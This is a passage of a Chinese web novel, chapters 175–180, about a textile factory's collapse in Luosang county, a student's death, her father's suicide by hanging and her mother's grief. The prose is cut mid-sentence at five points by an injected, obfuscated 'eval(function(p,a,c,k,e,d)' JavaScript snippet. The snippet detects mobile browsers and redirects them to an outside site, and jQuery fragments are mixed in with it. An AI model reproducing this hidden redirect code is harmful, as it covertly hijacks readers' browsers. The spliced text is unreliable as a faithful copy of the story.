它们唾手可得。它们难以被捕捉。因为它们在高高的天上,这些手,注定抓不住。 风呜呜地吹着。 …… “奈何取之尽锱铢,用之如泥沙?” 罗桑县高中里,语文教师正在解释:“这句话的意思是,为什么搜刮百姓的财物,一分一厘都不放过,挥霍起来,却像对待泥沙一样,毫不珍惜呢?” 孩子们并不关心这句话。 他们在下面窃窃私语: “罗桑厂**。” “听说是把厂子占了。” “小满学姐她爸,那个瘫子,就被摆在路口……” 女生插嘴:“说起来,小满学姐什么时候能回来传授经验啊?她可是省状元……你干嘛瞪我?” 男生用眼色制止了她:“你就别问了。” “……怎么啦?” “没什么。” 小小的浪花淹没在议论的海洋中。 第175章 大河东去&忙的忙死,闲的闲死 “钱!我们的钱!” 仿佛狂欢,仿佛庆典,仿佛一场巨大的喜丧,所有的人都陷入了如梦如幻影的迷狂。 赵**怔怔地站在人群中,看着奔走的人们,又抬头,看向粉色暴雨的来处。 这场暴雨来自罗桑厂的连廊。 人们如同罗桑河的流水,从赵**两边跑过,追着钱雨而去。罗桑河永远流过,河水里永远有一颗颗石头。所有人都奔跑着,他们都想摸着石头过河,可没人想做石头。 钱雨的尽头,是咆哮的罗桑河。 人们眼睁睁地看着,那如烟雾一般美丽的粉色纸钞的大雨,迅疾地扎入罗桑河里,猛地窜出熏天的臭味,几秒钟之内,就被冲得干干净净,毫无踪迹。 有人嚎啕大哭:“我的钱,我的钱——” 有人脱了衣服就要跳下去,被人拉住:“你不要命了!” “我不要命了!”那人红着眼挣扎,“我借了太多钱去集资,我反正还不上了,我活不下去啦,我要钱!” 人们死死地拉住他,有更多的人开始脱衣服。 嘭! 巨雷滚滚,天色骤暗,倏忽之间,暴雨突至,先是大颗大颗地砸下来,旋即劈头盖脸地浇在每个人的身上,猝不及防地,把人们都浇成了落汤鸡。 人们呆若木鸡,一动不动。 谁都没动。 暴雨倾盆而下,罗桑河水猛涨,水波滚滚,夹杂着粉色钞票,呼吸之间,翻滚着,蹿走好几百米,再一眨眼,再无踪迹。 罗桑县的人们站在罗桑河边,目送着粉色的钞票,夹在滚滚罗桑河水里,渐渐消失在远方。 大河东去。 …… “打钱过来,有多少打多少。”医生在手机对面说,“ICU一天8000块。” 张东尧应了,医生沉默了一会,说:“你不要后悔。” “我不后悔。”张东尧说。 对面挂断。 张东尧捂着头,从会议室的行军床上坐起身。外面正是阳光灿烂的大太阳。 他木然地打开笔记本电脑,将身上所有的钱一股脑地转了过去。做完这一切,他失魂落魄地坐了一会,起身把行军床折好,只听“嘭”的一声,天色突暗,瓢泼大雨倾盆而下。 今夕何夕兮。 张东尧要愣好一会,才勉强想起,自己还得好好工作,做好论文,争取留校。是了,他姐姐还没死。或许会变成植物人,或许会瘫痪,但没关系,只要她还活着。他要争取留校,把姐姐接到身边,过上姐姐从小梦寐以求的日子。 办公楼里安静得出奇。 张东尧拐进安全通道,不管三七二十一,抽出一支烟叼在嘴上,摸着口袋,没火。 “借个火。” 小小的火苗扑出来,张东尧深吸一口。余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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万高大在心里计算着,这场病要花多少钱。早知如此,当初该不该来呢?还是要来的,谁知道罗桑厂给罗桑县医院结了多少钱,万一欠费呢,自己拿什么还?还不是得让小满去还?现在眼看着又要生病,生病又要花钱…… 万高大注视着天空。 电视台的车驶过来,记者跳下车,围着万高大拍照。 老戴低声骂了句。好在这些记者他也认识,大不了去打声招呼,叫他们不要乱写就是。 现场的高音喇叭正反复播着:“先把老残扶走,不要淋坏了身体。” 老戴看着泡在水里的人,也是又急又气,抓过高音喇叭,梗着脖子喊:“你们跟我们较什么劲,啊?都是乡里乡亲,认识几十年了,有什么矛盾,把话说开就好,拿人家工伤的和退休的做什么筏子,啊?!这样解决问题吗?不解决!” 厂里的工人喊:“老戴,我们要保住饭碗!罗桑厂不能迁走!” 罗桑厂不能迁走? 罗桑河都臭成什么样子了!出于综合考虑,各方各面都在推进之河服装集团与罗桑厂的兼并,如果兼并,势必要迁厂,现在工人直接**,说不准迁走,这话让他怎么接! 老戴稍微一迟疑,罗桑厂内立刻沸腾起来:“我们是牛马吗,说用就用,说杀就杀?” 派出所的人过来请示:“老领导,你们看,要不要直接把人‘请’走?” 赵**一挥手,制止两人,若有所思:“我听下来,感觉问题出在别处。” …… 张东尧跑得太快,手里的伞断了骨。等他上气不接下气地跑到罗桑厂的时候,浑身早就湿透了,像一条丧家之犬。 赵**正在和老戴说:“……郑爱民既然敢瞒着我们把罗桑厂谈给外商,肯定也敢做别的手脚。这样的人,怎么可能**?” 老戴招来派出所的人,对方说:“主要是现场进不去,没法看现场的痕迹。但从两人掉下来的方向和身上的痕迹来看,这两人是争执后摔下来的。” 赵**怒道:“不知道郑爱民对工人们说了什么鬼话!大家情绪这么激动,想必有他的挑拨!” 派出所的人焦急道:“要么我们冲进去,把**头子先抓了,把外商救出来,我怕外商**!至少把现场的情况探勘清楚了,这样才不至于让误会越积越深呐。” 老戴只感觉事态像把火在吱吱地烤。他说:“我是担心,罗桑厂已经这样了,如果再抓人,恐怕事态就真的难以控制,会酿成无可挽回的后果!” 赵**说:“不能硬摔,一定得软着陆。” 派出所的人急得不得了,就在这时,张东尧在一旁扶着墙说:“我进去。” 他喘着粗气,面色惨白,双目通红。 赵**转头看着他,张东尧声音绝望:“师叔,我翻墙进去。” 老戴说:“这倒是个好办法!张东尧毕竟不是警察,大家伙也都认识他。让他进去最好。” 赵**回头,看了看一片沉寂的罗桑厂,又看了看张东尧。 他缓缓说:“东尧,你可知道,外商可能**在里面了。现在正是群情激奋的时候,你进去,也可能**。” 张东尧惨笑着说:“我必须亲眼看看。罗桑厂已经这样了,我活不活,还有什么重要?” “说什么胡话!”赵**训斥,“活啊死的,你愿意为罗桑县做贡献,我们很感激,但你三思——这很危险,且不是你分内之事,我们不强求。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15302831|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张东尧干涩灼热的眼睛终于盈满了眼泪。 他终于哭出来。眼泪滚滚而下。 “我要去。”他抹了把脸,“我不是为了罗桑县。我从来都不高尚。我是为了我自己。如果真死在这里,总归是好的……就算**,我也甘愿。” …… 两个警察陪同张东尧进去。 报社记者的**短炮纷纷对准这个清俊的年轻人。他们试图捕捉他身上理想主义的影子和人性的光辉。可惜他们都失望了。 张东尧经过满地老残的时候,并没给他们多一丝目光,也没什么不忍的表情,他死死地盯着罗桑厂,直直地走了过去。 “这个小伙子,他看上去不关心普通人,也不怜悯老人和残疾工人。”年轻记者喃喃说。 “这会进去是玩命呢,真有可能**,你以为是做慈善。”老记者说,“心够硬才能干这事。” “那他的初心,岂不是为了自己的名利……” “那又怎么样?谁人无浊?论迹不论心。”老记者打断对方,举起相机。 三个人走到货车下,货车纷纷乱乱开始鸣笛。 “警察不许进!不许进来抓人!小伙子自己一个人进来!” 张东尧手里攥着的对讲机,赵**问:“张东尧,你还要不要进?” “我进。”张东尧简单地说。 “好。”对讲机里,赵**的声音有些失真,“张东尧,你给我立军令状。从现在开始,你就负责出面与罗桑厂谈判。即使可能被打,可能牺牲,你也完全知悉其中的风险。” “我明白。”张东尧麻木地说。 赵**说:“张东尧,我知道你想留校。这次你立大功,罗桑县不会让你寒了心。” 留校啊。 张东尧想起那句“你姐姐只是用仪器吊着,维持生命体征罢了。” “我不强求。”他深吸一口气,抬眼望天:“我只是为了我自己。” 第177章 中风&冬衣 张东尧从大货车的尾箱爬过去。罗桑厂的铁门锁得严严实实,他抓着栅栏,踩着小儿手臂粗细的链条,翻了过去,狼狈地摔在地下,眼镜滚到土里。 张东尧趴在地上,尝到嘴里的血腥味。 他忽地笑了。因为感觉自己竭尽全力往上爬、又摔进土里的样子,活像一条滑稽的狗。 但是愤怒和质问没有来,痛打也没有来。张东尧摸索着戴上眼镜,抬起脸,意外地叫出声。 “罗璇?你怎么在这?” …… 对讲机里传出赵**的声音:“罗璇?是红星厂那个罗璇吗?” 好一个表现的机会,罗璇马上自报家门,顺便邀功:“是我。赵**,江明映没死。是我救了他。” 张东尧问:“你一直在里面?这么长时间,怎么不打电话出来?” 罗璇摊手:“我在。我是被人抓进来的,锁了一晚上,手机也被抢了。” 张东尧忍不住说:“这究竟都是怎么一回事?” 罗璇喊了工人老王过来,把事情原原本本讲了。旋即,她又点了几个人,交叉补充了事实。 张东尧看着罗璇调兵遣将,倏忽心底升起一股奇怪的感觉:“他们怎么都听你的?” 工人们立刻说:“罗厂长会替我们做主。” 张东尧又问:“外商,也是你护住的?” 罗璇坦然地点头。 有人唾:“要不是看在罗厂长的面子上,非打死他不可!” 对讲机里传来两声咳嗽。 张东尧没再纠缠这件事,凝神听着,逐渐拼凑出工人嘴巴里的事实真相,听着,就听出了问题。 他皱眉:“你们认为,王经理是被外商逼**的?” 老王反问:“难道不是?” 张东尧想了想,直接对老王等人说:“你们大概不知道,警察查看过尸体,王经理和郑厂长,是从罗桑厂的高空连廊上摔下来的。” 老王绷着脸,不信任地看着张东尧。片刻后,他看向罗璇。 罗璇直接说:“张东尧,你带着我们去连廊看看。我们眼见为实。” …… 连廊上,掉落一本护照,是王经理的。 一个行李袋歪歪扭扭地吊在半空中,拉链半开不开。 年轻工人试图用钩子把行李袋勾上来,行李袋动了动,仅剩的几张百元大钞掉落风中,飘飘荡荡,飞远了。 罗璇走上前去,垂眼看着高空连廊的栅栏。 栅栏上面,全是指甲的划痕。一角衬衫碎布挂在下面,随风飘摇。 一片沉默。 什么内疚,什么**。这本护照,和行李袋里的钱,已经说明了一切。 “王经理……他不是咱们自己人吗?他……他怎么这样啊?” “他其实……根本不关心工人,也不关心残疾工友和老人。” “都是骗人的啊。” 忽地,有人疑惑出声:“老王,你去哪里?” 工人老王像喝醉酒一样,涨红了脸,默不作声,站起身,摇摇晃晃地离开了人群。 …… 罗璇带着张东尧来到资料室,死脑筋还目光炯炯地坐在门前的椅子上。 见到罗璇,他大声说:“没人进来过!” 罗璇点点头,嘴很甜:“我发现你是个有原则的人,适合做保密工作。” 死脑筋激动得满脸放光:“真的?大家都说我死脑筋。” “他们说得都不对。”罗璇深沉道,“你得听我的。” 死脑筋发自内心地咧嘴笑,张东尧不忍直视,淡淡地撇过头去,研究门上的封条。 “我封了资料室,为了后续接管的人有据可查。”罗璇说。 张东尧不管三七二十一,直接撕了封条,冲进资料室,一把抓起各种合同仔仔细细翻起来,越翻,脸色越灰败。 “完了。”他喃喃地说。 不知道在说罗桑厂,还是说他自己。 张东尧麻木地走出资料室,重新贴了封条。罗璇终于安了心,嘱咐死脑筋继续守着,两人走出行政楼。 工人们正在乱纷纷地议论着,高一声低一声。两人出来,工人们马上说:“罗厂长,我们都被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15302832|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骗了!” 罗璇很自然地接话,用哄孩子的口吻:“放心!我肯定帮你们说清楚。” 张东尧始终面色苍白,不知在想什么。 一切都乱糟糟的,突然,有人拍了拍罗璇的肩膀,很艰难地说:“二妹。” 罗璇回头,是老王。 老王的神态很不正常,和张东尧一样,也是失魂落魄的样子,整张脸都坠下来,仿佛无法抵抗命运的拖拽。 四下又吵又闹,而老王抹着汗,声音颤抖:“外面,究竟是怎样一回事?” 张东尧直接说:“郑厂长和王经理都摔**。还砸**你们县的一个女学生。” 罗璇回过头,老王绝望抬起头。 张东尧思索了一会,想起那个女学生的名字。 说起来,他能记住这个名字,因为这个名字很有特色。 “万小满。”他说。 小满胜万全。很用心的名字。 老王睁大眼睛,张大嘴,只来得及嚎出一句支离破碎的“万高大,我对不起你——”剩余的话就再也听不清楚。 他的喉咙里咯咯咯想起来,嘴里涌出一股又一股的白沫,直直地向后倒去。 厂里乱成一团。 …… 罗桑厂的大门缓缓打开,一队工人急急喊着:“救人,救人,老王中风了,快送医院!” 几分钟后,在罗璇的带领下,江明映也被抬了出去。 张东尧走出罗桑厂,走到赵**身边。赵**重重拍了拍他的肩膀:“有胆识,好小伙子!” 张东尧说:“也不是因为我……” 老戴打断了他的话头,毋庸置疑:“就是你立的功劳。”他深深地看了张东尧一眼,“我们会帮你报典型上去,你记得准备好留校材料。” 张东尧听懂了,没有再反驳。 而万高大依旧躺在湿漉漉的地下,听着这一切,看着天。 一场秋雨一场寒。 变天了啊。 他有些发烧,眼前模糊不清。 但他牢牢记得,回家以后,要给小满寄几件冬衣才行。 第178章 问题总能解决 回到罗桑县医院,万高大让工友抬着自己,主动去收费处询问。 他的担忧果然成了真。自己前前后后的医药费,罗桑厂欠了许多没结。 早先因为娇姐投资失利,家里盘下的饭店,大部分积蓄,全亏得七七八八,就算拿回来,也只剩十之一二。 工友去吃饭,万高大让大家把自己放在医院大厅里。 他看着医院大厅里形形**的人。悲欢离合。 他掰着手指头算了算。他还买过两个保险,都是给小满买的。其中一个,让小满在25周岁以后每个月能领600块钱;另一个,让小满在80岁以后每个月能领1000块钱。万高大还额外存了一笔钱,指望着小满结婚那天,红彤彤的现金取出来,摆在婚礼现场,小满站在婆家面前,腰杆多硬! 万高达想着,又笑出来。 在万高大的想象中,小满的婚礼,自己肯定是不露面的,否则男方的亲戚朋友怎么想,觉得小满负担太重、觉得自家小满高攀了男方?不可不可,小满这么好的孩子。 万高大皱眉思索,旋即失笑。 他在愁什么,这世上就没有解决不了的问题。 万高大把自己的钱仔仔细细梳理了一番。这些钱,对于普通人来说,怎么都够用了。可对于遭受了无妄之灾的人而言,怎么算都不够用。 奋斗半生,一场茫然。 是非成败转头空。万高大看向医院大门外,罗桑河水依旧不知疲惫地奔流着,暴雨后,夕阳挂在河面上,高高在上,红得美丽而冷漠,不知照耀过多少悲欢离合。 王婶被儿媳搀扶着,哭得上气不接下气地冲进来:“老王中风了,老王……” …… 娇姐接到通知,在工友的陪伴下来到医院的时候,发现万高大已经把东西收拾得齐齐整整,捆成一个包,摆在淡蓝色的床单上。 “老万。”女工尽量柔和地说,“罗桑厂这个情况,你也知道。以后咱们回家治。” 万高大先问:“厂里拖欠的医药费,怎么算?” 女工说:“你这么个情况,罗厂长会替你做主的。罗厂长说……”女工回忆罗璇那套话,试图原文复述,“赵**他们还在讨论,稍后会拿出一个章程来,能兜底的尽量兜底。你这个情况,肯定属于兜底的范畴。” 听见不必欠债,万高大松了口气。 他咧嘴笑:“罗厂长?罗璇?嘿!二妹还真出息了!” 见到万高大笑,女工松了口气。 女工问娇姐:“你家是步梯9楼,老万挺沉的,你一个人能搬动吗?”她看着娇姐茫然颓废的样子,直接做决定:“你等着,我找几个小伙子去楼下等着,把老万抬上去。”她抬头笑,“问题不大。” 万高大也笑:“问题嘛,出现了,就是为了被解决的。” “那你先收拾东西?”女工问。 万高大指了指床上的包裹:“我已经收拾好了,就等你们来接。我早就住腻医院啦,回家挺好!是好事!” 娇姐喃喃说:“老万就是这点好,心里有数。” 女工露出恻隐的表情,一闪而过,又笑起来:“那可太好了,我也说,医院待着没意思,回家多好,还是自己家舒服!” …… 几个工友轮番背着老万,嘿呦嘿呦地爬上9楼:“你这楼梯太陡了。怎么都没灯?” “以后你出门可真不方便了。” “跟罗厂长反映一下,能不能厂里出钱,给装个感应灯啊。” “厂里哪还有钱。” 老万趴在小伙子后背,急忙说:“不必麻烦,打手电筒一样的,现在能帮我解决医药费,已经很好。” 门打开。 “我天,你家——” 众人齐齐看向娇姐。 几秒种后,几个女工用身体挡住门:“谁遭了事,家里还能干干净净啊?”众人进了屋,无处落脚,只好先擦出一把落灰的椅子,把他放上去,“都来,一起收拾。” 女工擦洗着,忍不住对娇姐说:“眼看着小满就要放寒假回家,她怎么住!你也不替小满想想!” 娇姐疲倦地低声说:“怪我。” 女工却叹了口气。 “不怪你。”她说,“你还活着,还做事,就已经尽力了。” 狭窄的房间勉强收拾出个样子,人群纷纷散去。万高大靠在床头,和娇姐两人对坐。 万高大下意识反手去摸平安香囊,摸了个空。 他这才想起,平安香囊应该忘在医院了。但走的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15302833|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎也没见到——大概不知道什么时候,这个香囊,就已经悄悄地消失了。 他稍微一动,床头就咯吱咯吱响。 “这个床头响了几十年了。”娇姐强笑,“从咱俩结婚响到现在,年年说换,年年没换。” 万高大注视着娇姐剃得乱七八糟的寸头。 他把手按在娇姐胳膊上,低低说:“是我不好。” 娇姐说:“你早该换个床头的,说了你又不听。你这人,都说你脾气好呢,其实你心里有自己的想法。” 万高大失笑:“这辈子就总想多攒点钱,总觉得这里也要钱,那里也要钱,忙忙碌碌的,几十年过去了,孩子都大了。现在想想,当年就算换个床头,又能花几个钱。” “是,小满长大了。”娇姐感慨,“万幸。” “万幸。”万高大也说,“命运待我们,不是不好的。娇,小满是个有本事的,你很快就能享福了。” 娇姐笑笑。 万高大伸出手去,抚过娇姐乱七八糟的短发,手指在头皮刮破的痂上停留了几秒,又摸了摸她的脸:“怎么熬成这样了。”他又说,“是我不好。” 娇姐又笑笑,避重就轻:“你早该换个床头。” 万高大絮絮低声:“小满四年就毕业,她是个孝顺孩子,以后不怕养老没着落。她读书这几年,家里还有些钱,肯定够花。”他指了几个地方给娇姐,“还有几个存折。” 娇姐笑了:“你还储小金库。” “这不是都上交了么。”万高大说,“密码也告诉你,行不行?你看,钱是有的,希望是有的,你振作一些,好不好?咱俩好好过日子,行不行?不给小满添麻烦。” 娇姐茫然的眼睛渐渐回了点神。万高大又很坚定地说:“没什么坎过不去,没什么问题解决不掉。你信不信我?” 娇姐想了想。 “娇。”万高大郑重地按住她的胳膊,“问题能解决。我已经知道,该怎么解决。我有办法,你相信我。” 娇姐按住万高大的手。 “我信你。”她缓慢地说,“结婚这么些年,除了床头响到现在,其他所有的问题,你都能解决。” 万高大哈哈笑了:“床头这事,你能念叨一辈子。” 第179章 夕阳无限好 第二天一早,娇姐就被削木头的声音醒了。 娇姐把门推开,看见万高大倚靠着床头,半个身子歪着,正在和木头作斗争,满地木屑,满屋清香。 看见娇姐,他抬眼笑:“现在这个形式,能省则省嘛。” 娇姐把窗帘拉开,又是一个火辣辣的大晴天。她注意到万高大的断腿磨破了,地上有一些拖来拖去的血迹。 床边被他吊着几根碎布拧成的布条,显然他抓着这几根布条,自己下了床,又自己把自己翻上床。 “你要拿什么,怎么不叫醒我。”娇姐埋怨,“我抱你。” “问题不大,我能解决,何必给你添麻烦。”万高大说。 “老万啊老万。”娇姐盯着老万看了半晌,突然说,“你这人,就是心里有数。有时候我觉得,我怎么就遇上你了?我命真好。” 万高大“呸”了声:“肉麻,说这个。” 娇姐坐在一边,看着万高大干活。 “不去厂里?” “没什么可去的,厂里乱成一团,政府查账,供应商堵门,现在什么都不让动,去了也没事做。”娇姐说,“我在家陪陪你,给你打下手。” “别碰,木头上好多刺,会扎了你的手。” “跟我还说这些。” 万高大做工多年,心灵手巧,娇姐帮着递材料,没等中午,一个新的床头就已经打磨光滑。 “就这么点事,拖了大半辈子。”娇姐欣喜地看着新床头,嘴里又忍不住埋怨。 “是我不好。”万高大眯着眼看着新床头,“以后不会了。问题还是要快快解决,只要想解决,就必然能解决,无论用什么法子。” “今天几号了。” “10月29号。” “后天是你生日。说起来,小满这几天没来个电话?” “忙着学习呢,谁有功夫天天打电话。” “也是。”万高大咂咂嘴,“不能给孩子添麻烦。” “想吃什么?” 万高大毫不客气地报了四个菜:“都回家了,吃点好的。医院的饭菜真难吃。” 娇姐笑骂了几句,炒了四个菜。 从厨房出来,她发现万高大已经把床头换好了,不知道怎么换的,只是地上和墙上又多了些血迹,他的胳膊也划伤了,长长的一条,很深,正在流血。 “你真是。”娇姐帮他处理伤口,嘴里埋怨,“我来换就好,你何苦逞强。我又不会嫌弃你!” “我做点我能做的。”万高大注视着娇姐。 “看什么看。”娇姐没好气。 “是我不好。你把头发留长吧。”万高大突然说,“以后,我不会再让你吃苦了。” 娇姐的眼泪忽然就盈上来。她背过身去擦眼泪,又把菜端到床前:“肉麻。说这些。” “主要是哄你,想骗点酒喝喝。” 娇姐啼笑皆非。 “大中午的!大白天的!喝什么酒!” 家里还剩小半瓶二锅头,两人分着喝了。万高大突然感叹:“小满前途无量,而你——我是怎么遇上你的?” “装什么浪漫。咱俩是厂里组长介绍相亲的。第一面逛公园,第二面聊厂子分房政策,说结婚分的面积大。第三面就在厂里办了集体婚礼。平淡无奇,水到渠成。” “哗,好惊险,万一组长先给你介绍别的男人,我岂不是遇不到你?是我好命。”万高大把酒瓶里剩下的酒一饮而尽,“命运待我,不是不好的。” 娇姐笑骂:“老万,你就是这点好,心里有数。” 吃过饭,娇姐把碗筷收拾好,回来看了眼手机,有几个罗璇的未接来电。 “二妹让我给她回个电话。”娇姐站起身,“估计是让我去厂里。”她开始窸窸窣窣地穿衣服,“我晚上回来,给你带点熟食?酒还要不要?” “都不要。”万高大躺在床上,注视着娇姐的身影,“外面经济形式不好,能省就省。” 娇姐穿戴整齐,拨电话给罗璇。对面不是让她去厂里,而是去县医院。 她站在门口,穿鞋,又穿上外套。 万高大突然说:“真漂亮。” 娇姐看了看自己身上穿的。她不知道为什么,挑了套新衣服。 “都是厂里的样衣罢了,网球夹克。下面是新花样,叫铅笔裤。”她赧然,“一把年纪的人了,穿小姑娘的衣服,腿勒得从上紧到下,不伦不类的。”她摸了摸自己的头发,“头发还短。” “好看的。”万高大躺在床上,轻轻说,“你从小就爱打扮,那就多打扮,只要你能开心些。头发,慢慢就留长了,那些不开心的,很快就会过去。以后和小满好好过日子。” 满室阳光灿烂,是个好天气。 娇姐回身看了眼万高大,笑着关上门。 阳光被隔断,楼道里黑了下来。 …… 2008年10月30日,下午4点。 罗桑县医院。 娇姐用力抓挠自己的喉咙,仿佛喘不上气,又仿佛陷入巨大的迷雾中,几个人冲上来,试图把她的手拉开,但她力气很大。 罗璇不顾自己被抓破的手,用力抱住娇姐。娇姐的身体很冷,在颤抖。 “娇姐,娇姐,振作!振作起来!你听我说!小满没了,但你还有我们,你要坚强起来——” 罗璇知道自己的话语很无力,但她没有办法。在痛失爱女的母亲面前,无论她说什么,都是无力的。 娇姐的表情绝望又徒劳。命运如同愤怒的罗桑河,巨浪拍下,她被砸得傻掉,毫无还手之力。 “不可能,不可能。”娇姐软倒在地下,“小满明明在北京读书,她是罗桑县飞出的**啊,她是罗桑县的希望,怎么可能被砸死?” 她用力喘息,满脸都是眼泪,旋即上气不接下气。 几个护士冲上来,抓着她的手臂,辅助她呼吸。 不远处,中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308253|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风的老王听了这话,突然“嗬嗬”大叫起来。 “老王,你要说什么?” “希望,罗桑县的希望,希望……”他含混不清地说,但没人能听懂他的意思。 永远都不会有人知道。在那个深夜里,王经理说,自己是罗桑县的希望,只有他才能救罗桑厂,于是老王信了,老王收了钱,放走了他。于是小满**。 老王“啊啊”嚎叫着,口水一串一串掉下来,浑浊的眼里,老泪止不住地流。 …… 2008年10月30日,下午6点。 护士给娇姐推了针,告诉罗璇:“应该没事了。找几个人送她回家,让她睡一觉,这事,只能自己想通、慢慢接受。” 罗璇苦笑:“她接受也得接受,不接受也得接受。” 她轻轻拍醒娇姐,娇姐茫然地睁开眼。 “我们回家。”罗璇轻声说。 药起了效,娇姐双目朦胧,平静地点了点头。 王婶叹了口气,从老王身边起身:“二妹,我跟你一块,送娇姐回去。” 罗璇道了谢,和王婶一道,开车把娇姐送到楼下。 两人搀着娇姐爬上9楼,楼梯陡而高,灯坏了不知多少年,一片黑黢黢的。 “万叔回家了。”罗璇环顾四周,“希望罗桑厂的新厂长能体恤他,给他装个灯吧。嗨!实在不行,我给他装。” “二妹,我们都想你去做厂长。”王婶说。 “不可能。”罗璇扶着娇姐,“罗桑厂这种大厂,能委派下来当厂长的,怎么可能是普通人。” “而且,经过这个教训,赵**在反思会上说,以后这种关乎十几万人饭碗的大厂,地方政府必须跟踪企业管理……”罗璇看王婶听不懂,也就不再说下去。 “外人来管,能真心管吗。外人跟罗桑县没感情,能在乎我们的死活吗。还不是捞两年钱,升官发财,拍屁股走人。”王婶嘀咕。 娇姐的手被扶手磕了下,呻吟了一声。 两人不再讲话,专心扶着娇姐上楼。 …… “娇姐,钥匙。”罗璇说。 娇姐摸了摸口袋,掏出一串钥匙,罗璇一把一把试过去,王婶还在说:“我这么活了一辈子,怎么一眨眼的功夫,全都变样了呢?听说罗桑厂会迁去别的城市,唉……罗桑县以后还有希望吗?还听说……” 罗璇推开门,夕阳的余晖一点一点从门里漏出来。 王婶的话突然停了下来。 罗璇抬头。 娇姐也抬头。 一片死寂。 …… 万高大用一种决绝的姿态,头低垂着,碎布头拧成的布条轻轻晃动,他把自己吊死在新打的床架子上。 寂静中,罗桑河水从很遥远的地方传来惊涛拍岸。 哗啦——哗啦—— 窗外,落日正缓缓下沉。满窗红色。 红色是美丽又冷漠的颜色。 夕阳无限好。 第180章 从不给人添麻烦&妈妈 第二天一大早,王婶接连着打了数个电话给罗璇,罗璇刚已接通,王婶就心急火燎地喊:“娇姐不见了!” 罗璇吓得手脚冰凉:“她不会……” **吧? 万高大把自己吊死在床头,一句话遗言都没留下。逼仄的9楼乱哄哄的,人来人往,大家把万高大解下来的时候,发现他连衣服都穿得整整齐齐,床边放着一个信封,里面包着一叠纸钞,上面写着:出殡费。 到死都没给任何人添麻烦。 “老万到死都不知道小满的事。”工人们低声议论,“不幸中的万幸。他为了家人的幸福走的,走得还算幸福。” 很多人都在哭。 或许哭万高大,或许哭自己,或许哭这无可奈何的世道,或许哭不公的命运。 只有娇姐没哭。 她不知怎的,很平静。看着信封,面上竟然带了点温柔。 她笑微微地说了句:“老万就是这点好,心里有数。他死得坚决,没拖累医药费,我能找到这么个人,命运待我,不是不好的。” 然后坐在床边的椅子上出神。 大家都很担心娇姐,王婶自告奋勇,把她带回自己家去睡。 王婶年纪大了,睡眠浅,睡得少,醒得早,可等王婶从短暂的浅眠中惊醒,娇姐已经不见了。 …… 娇姐回了趟家。 她把自己和老万的身份证、户口本、结婚证,还有房产证等等,全部找出来,又把这些证件整理作一处,用透明袋封好,放在桌上。 她翻出家里的存款,数了两叠纸币出来,用信封包好,在上面写字。 又去里屋拿出万高大亲手包的信封。 她把三个纸信封和装着证件的透明袋摆在一起。 万小满的出殡费。 万高大的出殡费。 自己的出殡费。 娇姐把房间收拾好,拖地,擦灶台。整理完这一切,她拿了身干净的新衣服,一双新鞋,翻出一块没拆封的香皂,又拿了条新毛巾,放在手提包里,出了门。 外面还黑着。 寂寥的夜空中,有一颗亮闪闪的星子。 娇姐敲开小招待所的门,开了三小时钟点房,好好地洗了个澡,热水把全身浇得通红,她把香皂搓到身上。 熟悉而幽微的香气很快包裹了她。娇姐心有所感,好奇地拿起紫色纸盒子看了看,是“力士”牌精油香氛皂。 她想起来,这是小满身上的香味。 是小满给自己买的香皂,万高大出事以后,她再也没心思用这些。 若是早知道…… 人生匆匆。生死面前,其实没什么大事。 泡在热水里,娇姐把指甲剪短,刷牙,最终,轻轻舒了口气。 她眉目舒展地用新毛巾把自己擦干,换上新衣服。她看着镜子里的自己。 镜子蔓延上一层税水雾,朦朦胧胧的,倒映着镜子里女人红彤彤的、宁静的脸。 …… 走出房间的时候,天光微亮。 